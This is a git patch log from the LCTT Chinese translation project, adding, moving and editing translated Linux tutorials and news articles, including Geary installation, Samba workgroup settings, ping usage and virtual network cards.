commands below to remove Geary. - - sudo apt-get remove geary - -That’s it. - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md new file mode 100644 index 0000000000..ba570c8acc --- /dev/null +++ b/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md @@ -0,0 +1,47 @@ + +每日Ubuntu 小技巧 - Get Geary，Ubuntu下的一个轻量级Email 阅读器 +================================================================================ + +正如大家所知，Ubuntu 原本就自带着可以收发邮件的客户端——Thunderbird，当然它也支持Gmail，Yahoo Mail， Microsoft Outlook 等等支持IMAP 协议的邮件服务。 + +Thunderbird 是一个无所不能伟大的邮件客户端，但是如果你想选择一个能在够在GNOME 下运行的轻量级的客户端，Geary 是一个不错的选择。 + +Geary 是一个界面简洁，能让你快捷方便的阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上，这样你可以不必用鼠标来切换消息。 + +Geary 还支持IMAP 协议，你可以使用Google, Yahoo 和Microsoft 这样的在线邮箱服务来发送和接收你的邮件。 + +以Ubuntu 13.10为例，Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。 + + sudo apt-get install geary + +在以前的Ubuntu 版本中，键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后，运行以下命令增加PPA 源。 + + sudo add-apt-repository ppa:yorba/ppa + +接下来运行以下命令来升级系统和安装Geary 。 + + sudo apt-get update && sudo apt-get install geary + +当你第一次运行Geary 时，需要你设置邮箱的服务商。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png) + +设置非常的简单，只要输入你的账号信息，Geary 就会自动配置好你的账号。 + +若想卸载Geary ，首先要从系统中移除它的PPA 源，要运行的命令如下。 + + sudo add-apt-repository -r ppa:yorba/ppa + +然后再运行以下命令卸载Geary 。 + + sudo apt-get remove geary + +就这么简单~ + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/ + +译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 0b213ab46581d3f985d06c86ac38bc4394ff6b20 Mon Sep 17 00:00:00 2001 From: NearTan Date: Tue, 26 Nov 2013 19:31:06 +0800 Subject: [PATCH 008/148] translating by NearTan --- ...Command Examples To Manage (Display,Sort,Create etc) Files.md | 1 + ...ux Uptime Command – Find How Long Your System Been Running.md | 1 + 2 files changed, 2 insertions(+) diff --git a/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md index 8fdb69b1e2..f2a6f8a6e4 100644 --- a/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md +++ b/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -1,3 +1,4 @@ + NearTan认领 13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) diff --git a/sources/Linux Uptime Command – Find How Long Your System Been Running.md b/sources/Linux Uptime Command – Find How Long Your System Been Running.md index 788397a8e3..28ac56c0a5 100644 --- a/sources/Linux Uptime Command – Find How Long Your System Been Running.md +++ b/sources/Linux Uptime Command – Find How Long Your System Been Running.md @@ -1,3 +1,4 @@ + NearTan认领 Linux Uptime Command – Find How Long Your System Been Running ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png) From 65b0fd649d2de912909af4cce3947acce79b4b18 Mon Sep 17 00:00:00 2001 From: wxy Date: Tue, 26 Nov 2013 21:52:56 +0800 Subject: [PATCH 009/148] =?UTF-8?q?=E7=BF=BB=E8=AF=91=EF=BC=9ACore=20algor?= =?UTF-8?q?ithms=20deployed?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 帮挪位置 --- {sources => translated}/Core algorithms deployed.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {sources => translated}/Core algorithms deployed.md (100%) diff --git a/sources/Core algorithms deployed.md b/translated/Core algorithms deployed.md similarity index 100% rename from sources/Core algorithms deployed.md rename to translated/Core algorithms deployed.md From cde876423bac27fdd83a4e8a4a27cd8be4b1999a Mon Sep 17 00:00:00 2001 From: wxy Date: Tue, 26 Nov 2013 22:01:25 +0800 Subject: [PATCH 010/148] =?UTF-8?q?=E6=B8=85=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... Change Samba Workgroup And Computer Name.md | 47 ------------------- ... Change Samba Workgroup And Computer Name.md | 47 +------------------ 2 files changed, 1 insertion(+), 93 deletions(-) delete mode 100644 sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md diff --git a/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md b/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md deleted file mode 100644 index b2f009073f..0000000000 --- a/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md +++ /dev/null @@ -1,47 +0,0 @@ -<<<<<<< HEAD -(translating by whatever1992) - -======= -crowner的坑 ->>>>>>> 6ee657b05c5722935988e91e1fc2bfdb9e6f6c79 -Daily Ubuntu Tips – Change Samba Workgroup And Computer Name -================================================================================ -Here’s another question new users to Ubuntu asked the most. The answer to the question is simple but when you’re new to anything, it takes time to fully understand it. - -Here’s the question we received few days ago; - -> How to change samba workgroup name and computer name in Ubuntu? - -For most computer Ubuntu users, changing their computer name is the least thing on their list, let alone samba workgroup. A few power users may want to learn how to do this easily with using Ubuntu. - -When it comes to changing the computer name in Ubuntu, we’ve written a simple post on that which can be [found here][1]. Follow the this simple guide on [changing your computer name in Ubuntu][1] to accomplish your goal. - -There maybe other ways to changing your PC name in Ubuntu but this is the easiest and fastest. For those using Ubuntu server, you can use vi or vim to edit the hostname and hosts files. Using vi or vim maybe difficult for most so only someone with knowledge of using these editors should use it. - -To change Samba workgroup in Ubuntu, press **Ctrl – Alt – T** on your keyboard to open the terminal. When it opens, run the commands below to edit Samba’s configure file. - - sudo gedit /etc/samba/smb.conf - -When the file opens, make sure the line starting with workgroup in the [global] section has the word or value you want the workgroup to be. For example, if you want the workgroup to be UBGP, replace WORKGROUP with that and save the file. In most cases, you’ll have to restart the computer for the change to apply. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/workgroupubuntu.png) - -This is how you change your computer name as well as its workgroup in Ubuntu. Remember, if you are doing this to share or access Windows files and folders, you must also install Samba. Without Samba, it would be difficult sharing files with Windows. - -To install Samba, run the commands below. - - sudo apt-get install samba - -Please come back and check out other future tips about Ubuntu. - -Enjoy! - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-change-computer-name/ \ No newline at end of file diff --git a/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md b/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md index 9eb726a91f..66e1f771a9 100644 --- a/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md +++ b/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md @@ -1,4 +1,3 @@ -<<<<<<< HEAD 每日Ubuntu小技巧-更改Samba工作组和计算机名 ================================================================================ 这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单，但当你接触新事物时，你需要时间来完全理解它。 @@ -33,53 +32,9 @@ To install Samba, run the commands below. 尽情享受吧！ ======= -Ubuntu小贴士-改变Samba工作组和计算机名 -================================================================================ -这里还有另一个Ubuntu新手经常问的问题，答案很简单，但是对于新人来说完全理解需要花费一些时间。 -这里有一些我们几天前收到的问题: - -> 怎样在Ubuntu里改变Samba工作组和计算机名？ - -对于大多数的Ubuntu用户来说，给计算机改一个名字一定会在最低限度完成的列表上，更不用说Samba工作组了，一些少量的高级用户或者也会想轻松地在使用Ubuntu时做到这些。 - -如果是在Ubuntu里改变计算机名这个问题的话，我们之前已经写过一个简单的文章了，你真可以在[这里][1]找到。紧紧跟随[在Ubuntu里改变计算机名(changing your computer name in Ubuntu)][1]这篇向导性文章就可以达到你的目标。 - -或许还有别的方法可以在Ubuntu里改变你的计算机名但是这是最简单而快速的方法。对于那些使用Ubuntu服务器的，你可以使用Vi或者Vim编辑hostname和host等文件。使用Vi或者Vim对大多数人有点儿难，所以只有部分由使用这些编辑器的知识的人才会使用它。 - -要在Ubuntu里改变Samba工作组，按下键盘上的**Ctrl – Alt – T** 打开终端。但它（终端）打开后，运行下面的命令以编辑Samba的配置文件。 - - sudo gedit /etc/samba/smb.conf - -这个文件打开之后，确定在[global]段的以workgroup开头的行有你想要起给工作组的名字。例如，如果你想要让工作组叫UBGP，将WORKGROUP替换成UBGP然后保存文件。在大多数情况下，你会必须重启计算机以应用这些改变。 - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/workgroupubuntu.png) - -这就是怎样在Unbuntu里改变你的计算机的名字和它的工作组。切记，如果你想做这些以分享或者访问Windows的文件或者文件夹，你必须安装Samba。离了Samba，和Windows共享文件会很难。 - -运行以下命令以安装Samba。 - - sudo apt-get install samba - -请继续关注和访问更多关于Ubuntu的小贴士。 - -尽情享受吧! ->>>>>>> c011190f089700f3e40aad9289d60f1a5b609f05 - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/ - -<<<<<<< HEAD -译者：[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) +译者：[crowner](https://github.com/crowner)，[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 [1]:http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-change-computer-name/ -======= -译者：[crowner](https://github.com/crowner) 校对：[wxy](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-change-computer-name/ ->>>>>>> c011190f089700f3e40aad9289d60f1a5b609f05 From 1354e623f8e10c603522d91d4633c4ecd0b35075 Mon Sep 17 00:00:00 2001 From: wxy Date: Tue, 26 Nov 2013 22:54:17 +0800 Subject: [PATCH 011/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AMark=20Shutt?= =?UTF-8?q?leworth=20Regrets=20the=20=E2=80=9CTea=20Party=E2=80=9D=20Remar?= =?UTF-8?q?ks=20and=20Other=20Canonical=20Mistakes?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...rty” Remarks and Other Canonical Mistakes.md | 33 +++++++++++++++++++ ...rty” Remarks and Other Canonical Mistakes.md | 32 ------------------ 2 files changed, 33 insertions(+), 32 deletions(-) create mode 100644 published/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md delete mode 100644 translated/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md diff --git a/published/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md b/published/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md new file mode 100644 index 0000000000..69c179a4de --- /dev/null +++ b/published/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md @@ -0,0 +1,33 @@ +Mark Shuttleworth为“茶派”及其他错误认错 +================================================================================ +**Canonical公司的创始人Mark Shuttleworth他澄清了他的[“茶派”论调][4]，为他的言论而表示歉意。** + +![](http://i1-news.softpedia-static.com/images/news2/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819-2.jpg) + +我们并不是每天都能看到Mark Shuttleworth连续道歉两次，很有可能这是第一次。 + +[第一个道歉][1]是对收到了Canonical公司法律团队邮件的fixubuntu.com的站长Micah F. Lee，他写了一篇广泛传播的关于这些问题的博客，并且在许多论坛和网站引起了热议。 + +Mark Shuttleworth首先在Google+向他道歉，接着他在其个人博客上写了正式的道歉文章，他的博客通常都是用于宣布重要事情的地方。 + +这个道歉之后，他又花了一些时间说，他为带来了很多抨击的[“茶派”][2]的说法而后悔，这个事情甚至比他原来认为的还要糟糕。 + +“另一方面，从个人角度看，我自己犯了一个错误，当我使用标签“开源茶派”来指那些对Canonical做的事情的非技术评论家。这是不对的，并且的确可能冒犯了真的茶派（注意这里！）以及那些非技术批评家（再看这儿！）。” + +“这并不是说我建议我不需要这样技术反馈，而是一些假定我拒绝了包括技术反馈在内的所有反馈。我没有——我在说对软件的评价，并不是软件本身的中心，而是开发软件的人需求的综合，或者是某个自由软件协议下发布，或者是公司的策略、或者是公司后面的国家”，Mark Shuttleworth[说道][3]。 + + +希望结束在这个事件上的所有的讨论，人们最终将能够接受引发了这次讨论的Mir。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml + +译者：[Vito](https://github.com/vito-L) 校对：[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml +[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml +[3]:http://www.markshuttleworth.com/archives/1299 +[4]:http://linux.cn/article-2283-1.html \ No newline at end of file diff --git a/translated/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md b/translated/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md deleted file mode 100644 index a637ae84ff..0000000000 --- a/translated/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md +++ /dev/null @@ -1,32 +0,0 @@ -Mark Shuttleworth后悔“茶派”笔谈以及其他典型错误 -================================================================================ -**Mark Shuttleworth, Canonical公司的创始人,他澄清了他的“茶派”言论和为个人言论而表示歉意。** - -![](http://i1-news.softpedia-static.com/images/news2/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819-2.jpg) - -我们看到Mark Shuttleworth不是每天连续道歉两次, 很有可能这是他第一次发生这样的事情。 - -[第一个道歉][1] 来自fixubuntu.com的主人,他是Canonical公司法律团队邮件的收件人。Micah F. Lee,该网站背后的家伙,写了一篇关于这些问题以及在许多论坛和网站对此事进行了长时间讨论。 - -Mark Shuttleworth首先在Google+向他道歉,但是他同样在他的个人博客上写了很多正式文本,这通常是保留了有重要意义的事情。 - -由于他道歉,他同样花时间去说他后悔[“茶派”][2]解释惹来了许多压力对Canonical公司,他为可能甚至超过最初的问题生气。 - -“另一面,个人角度,我自己也犯了一个错误，当我使用标签‘open source tea party’指的是工作的非技术的批评。这是不必要的并且的确可能一样冒犯真的茶派成员（嗨，这里！）以及人民非技术工作的批评（hello，这儿！）。” -“On another, more personal note, I made a mistake myself when I used the label ‘open source tea party’ to refer to the vocal non-technical critics of work that Canonical does. That was unnecessary and quite possibly equally offensive to members of the real Tea Party (hi there!) and the people with vocal non-technical criticism of work that Canonical does (hello there!).” - -“没有什么我说的建议,我不欢迎像这样的技术反馈，但是一些假定我拒绝了所有的反馈包括技术评论。我没有 – 我谈论软件的批评在软件本身没有中心, 而是一些动机的组合的人写的,或依据它所公布的特定的自由软件许可证,或公司的政策,或公司背后国家的政策,”Mark Shuttleworth说道。 -“There isn’t anything in what I said to suggest that I don’t welcome such technical feedback, but some assumed I was rejecting all feedback including technical commentary. I was not – I was talking about criticism of software which does not centre on the software itself, but rather on some combination of the motivations of the people who wrote it, or the particular free software license under which it is published, or the policies of the company, or the nationality of the company behind it,” said Mark Shuttleworth. - -希望结束在这个事件上的所有的讨论以及人们最终将能够一起在Mir显示服务器上工作, 实际上是崩溃的根源。 - --------------------------------------------------------------------------------- - -via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml - -译者：[Vito](https://github.com/vito-L) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml -[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml From 5336897626e56e60b182b9c00e3f4f1dde9dca49 Mon Sep 17 00:00:00 2001 From: Luoxcat Date: Tue, 26 Nov 2013 23:05:49 +0800 Subject: [PATCH 012/148] =?UTF-8?q?=E8=BF=99=E4=B8=AA=E4=B8=8D=E9=94=99?= =?UTF-8?q?=E3=80=80=E3=80=80=E6=88=91=E8=A6=81=E5=8D=A0=E5=9D=91=E3=80=80?= =?UTF-8?q?=E3=80=80Luox?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Test your reflexes with Briquolo, fast breakout game.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/sources/Test your reflexes with Briquolo, fast breakout game.md b/sources/Test your reflexes with Briquolo, fast breakout game.md index 64afb9da9b..0770027d9c 100644 --- a/sources/Test your reflexes with Briquolo, fast breakout game.md +++ b/sources/Test your reflexes with Briquolo, fast breakout game.md @@ -1,3 +1,4 @@ + 这个不错　　我要占坑 Test your reflexes with Briquolo, fast breakout game ================================================================================ [Briquolo][2] is a fast captivating breakout game that adopts the classic enjoyable game of dealing with a ball, in order to destroy various objects. @@ -21,4 +22,4 @@ via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 [1]:http://briquolo.free.fr/en/ -[2]:apt://briquolo \ No newline at end of file +[2]:apt://briquolo From f90f99c012462fac2c43a1772eb0ae9b5572d8c8 Mon Sep 17 00:00:00 2001 From: wxy Date: Tue, 26 Nov 2013 23:51:36 +0800 Subject: [PATCH 013/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AFive=20Examp?= =?UTF-8?q?les=20Of=20The=20ping=20Utility?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Five Examples Of The ping Utility.md | 68 ++++++++++++++++++ .../Five Examples Of The ping Utility.md | 69 ------------------- 2 files changed, 68 insertions(+), 69 deletions(-) create mode 100644 published/Five Examples Of The ping Utility.md delete mode 100644 translated/Five Examples Of The ping Utility.md diff --git a/published/Five Examples Of The ping Utility.md b/published/Five Examples Of The ping Utility.md new file mode 100644 index 0000000000..5f52448106 --- /dev/null +++ b/published/Five Examples Of The ping Utility.md @@ -0,0 +1,68 @@ +五个 ping 工具的使用实例 +================================================================================ + +### 什么是 ping 工具### + +在讲述一些关于ping工具真实直观的使用实例前，先让我来介绍一下这个命令行工具及其目的。ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性。其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号。该方法同样生动描述了ping网络工具的工作原理。ping工具对一台主机发送回应请求然后等待ICMP响应。 + +实践中的ping工具的一些例子： + +### 查询主机的IP地址 ### + +有时候你需要得到某一台主机的IP地址，如图一。只需要键入ping命令后面跟上要查询的主机名。 + + ping www.omgubuntu.com + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping1.png) + +### 查询正在使用的ping工具的版本信息 ### + +用 -V 选项可以用来查询你手头上ping工具的版本信息。键入下列命令显示正在使用的ping工具的版本信息。 + + ping -V + +正如你从图二见到的，我正在使用的是“ping utility,iputils-sss20101006” + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping2.png) + +### 自动退出 ping ### + +当你用‘ping 主机’命令ping一台机器时，ping自己无法停止，你必需按下CTRL+C强行退出，或者你可以用 -c (count)选项指定发送包的数量。使用-c选项，当网络管理员(其实普通用户也可以)发送完指定数量的包之后，无需按CTRL+C，ping进程就会自动停止。 + + ping -c 13 127.0.0.1 + +上列的命令发送了13个包到我的本地主机上。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping3.png) + +正如你从图三看到的，我并没有按CTRL+C，而ping自动退出了。 + +### 指定数据包之间的时间间隔 ### + +你知道ping每秒钟发送一个数据包吗？你喜欢快一点还是慢一点？用 -i 选项能指定包之间的时间间隔。用下列命令快速发送或慢速发送包。 + +### 每0.13秒发送一个包 ### + + ping -i 0.13 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping4.png) + +### 每13秒发送一个包 ### + + ping -i 13 + +### 结合 -i 选项和 -c 选项 ### + + ping -c 13 -i 3 + +总共花费39秒发出13个数据包，数据包的时间间隔为三秒。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping6.png) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/five-examples-ping-utility/ + +译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/Five Examples Of The ping Utility.md b/translated/Five Examples Of The ping Utility.md deleted file mode 100644 index 04637d94dc..0000000000 --- a/translated/Five Examples Of The ping Utility.md +++ /dev/null @@ -1,69 +0,0 @@ -五个 ping 工具的实例 - -================================================================================ - -### 什么是 ping 工具### - -在传授一些关于ping工具真实大观的实例前,先让我来介绍一下这个命令行工具及其目的.ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性.其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号.该方法同样生动描述了ping网络工具的工作原理.ping工具对一台主机发送回应请求然后等待ICMP响应. - -用于实践ping工具的一些例子: - -### 查询主机的IP地址 ### - -有时候你需要得到某一台主机的IP地址,如图一.只需要键入ping命令后面跟上要查询的主机名. - - ping www.omgubuntu.com - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping1.png) - -### 查询正在使用的ping工具的版本信息 ### - -用 -V 选项可以用来查询你手头上ping工具的版本信息.键入下列命令显示正在使用的ping工具的版本信息. - - ping -V - -正如你从图二见到的,我正在使用的是“ping utility,iputils-sss20101006” - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping2.png) - -### 自动退出 ping ### - -当你用‘ping 主机’命令ping一台机器时，ping自己无法停止，你必需按下CTRL+C强行退出,或者你可以用 -c (count)选项指定发送包的数量.使用-c选项,当网络管理员(其实普通用户也可以)发送完指定数量的包之后,无需按CTRL+C,ping进程就会自动停止. - - ping -c 13 127.0.0.1 - -上列的命令发送了13个包到我的本地主机上. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping3.png) - -正如你从图三看到的,我并没有按CTRL+C,而ping自动退出了. - -### 指定数据包之间的时间间隔 ### - -你知道ping每秒钟发送一个数据包吗?你喜欢快一点还是慢一点?用 -i 选项能指定包之间的时间间隔.用下列命令快速发送或慢速发送包. - -### 每0.13秒发送一个包 ### - - ping -i 0.13 - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping4.png) - -### 每13秒发送一个包 ### - - ping -i 13 - -### 结合 -i 选项和 -c 选项 ### - - ping -c 13 -i 3 - -总共花费39秒发出13个数据包,数据包的时间间隔为三秒. - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/ping6.png) - --------------------------------------------------------------------------------- - -via: http://www.unixmen.com/five-examples-ping-utility/ - -译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 181b97c7467f6f6c937d208d0fa78a6de06d42e7 Mon Sep 17 00:00:00 2001 From: wxy Date: Wed, 27 Nov 2013 00:05:25 +0800 Subject: [PATCH 014/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ADaily=20Ubun?= =?UTF-8?q?tu=20Tips=20=E2=80=93=20Create=20Virtual=20Network=20Cards=20In?= =?UTF-8?q?=20Ubuntu=20Linux?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ate Virtual Network Cards In Ubuntu Linux.md | 42 ++++++++++++++++++ ...ate Virtual Network Cards In Ubuntu Linux.md | 43 ------------------- 2 files changed, 42 insertions(+), 43 deletions(-) create mode 100644 published/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md delete mode 100644 translated/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md diff --git a/published/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md b/published/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md new file mode 100644 index 0000000000..3557d5a0b4 --- /dev/null +++ b/published/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md @@ -0,0 +1,42 @@ +Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡 +================================================================================ + +这个教程是为那些想用Ubuntu做点小实验的用户准备的。这并不适用于所有人，尤其是那些在（正式环境中）使用生产机器的用户。 + +如果你对网络运行和IP网络有所了解，你应该知道在大多数情况下，每个网卡只会分配一个IP地址。我们习惯认为这是一对一的事物。 + +一个网卡对应一个IP地址，你在一台机器上的一个网卡及其IP地址只能绑定或运行单一的网络服务/端口。例如，如果你想在80端口运行一个web服务器，而一个IP地址和端口号只能由一个web服务器监听。这是这样设计的。 + +所以，网卡和IP地址并不是一对一的关系，你可以创建可以单独分配IP地址的虚拟网卡。因此，单一的物理网卡可以群集无限的子网卡或虚拟网卡。每一个都能分配它自己IP地址到对应的端口。 + +这个简短的教程将展示给你如何在Ubuntu上做到这些。这是在一台电脑上用一张物理网卡和单一的端口号运行及测试多个网络服务的好方式。 + +动手吧，运行下列命令打开网络接口文件。 + + sudo gedit /etc/network/interfaces + +然后按照下图中的步骤，添加你想要的任意多的虚拟网卡。默认情况下，Linux会给第一张网卡分配eth0的名称，所以如果你的机子只有一张网卡，那么它会被命名为eth0。 + +添加虚拟网卡，创建多个静态网卡并命名为eth0:1、eth0:2、eth0:3等等(eth0后面紧跟冒号和数字)。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu.png) + +对于你创建的每一个网卡，也要确保网络都是不同的子网，这是网络常识（译注：事实上并非如此，虚拟网卡完全可以是相同子网的IP地址，只要你需要） + +完成以后，保存文件并用下列命令重启网络服务。 + + sudo service networking restart + +就是这样! + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu1.png) + +玩得开心! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/ + +译者：[Luoxcat](https://github.com/Luoxcat) 校对：[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md b/translated/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md deleted file mode 100644 index 0033598e0f..0000000000 --- a/translated/Daily Ubuntu Tips – Create Virtual Network Cards In Ubuntu Linux.md +++ /dev/null @@ -1,43 +0,0 @@ -Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡 - -================================================================================ - -这个教程是为那些想用Ubuntu做点小实验的用户准备的.这并不适用于所有人,尤其是那些正在使用生产机器的用户. - -如果你对网络运行和IP网络有所了解,你应该知道在大多数情况下,每个网卡只会分配一个IP地址.我们习惯认为这是一对一的事物. - -一个网卡对应一个IP地址,你在一台机器用一个网卡和IP地址只能绑定或运行单一的网络服务/端口.例如,如果你想在80端口运行一个web服务器,只有一个web服务器将监听一个IP地址和端口#.这就是它如何工作的. - -所以,网卡和IP地址并不是一对一的关系,你可以创建可以单独分配IP地址的虚拟网卡.因此,单一的物理网卡可以群集无限的子网卡或虚拟网卡.每一个都能分配它自己IP地址到对应的端口. - 